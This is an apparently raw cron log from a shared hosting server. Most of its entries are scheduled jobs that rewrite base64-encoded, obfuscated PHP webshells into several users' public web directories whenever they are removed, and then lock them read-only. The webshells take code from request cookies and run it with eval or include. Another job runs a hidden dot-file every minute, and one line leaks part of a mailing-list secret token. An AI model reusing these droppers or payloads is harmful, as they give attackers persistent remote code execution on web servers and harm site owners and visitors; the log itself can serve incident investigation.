b2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:02:01 medusa CROND[19439]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:02:01 medusa CROND[19440]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:02:01 medusa CROND[19441]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:02:01 medusa CROND[19442]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:02:01 medusa CROND[19449]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:02:01 medusa CROND[19453]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:03:01 medusa CROND[20923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:03:01 medusa CROND[20933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:03:01 medusa CROND[20932]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:03:01 medusa CROND[20934]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:03:01 medusa CROND[20935]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:03:01 medusa CROND[20936]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:03:01 medusa CROND[20937]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:03:01 medusa CROND[20938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:03:01 medusa CROND[20939]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:03:01 medusa CROND[20945]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:03:01 medusa CROND[20947]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:03:01 medusa CROND[20950]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:04:01 medusa CROND[22398]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:04:01 medusa CROND[22399]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:04:01 medusa CROND[22402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:04:01 medusa CROND[22403]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:04:01 medusa CROND[22404]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:04:01 medusa CROND[22405]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:04:01 medusa CROND[22406]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:04:01 medusa CROND[22409]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:04:01 medusa CROND[22411]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:04:01 medusa CROND[22407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:04:01 medusa CROND[22415]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:04:01 medusa CROND[22440]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
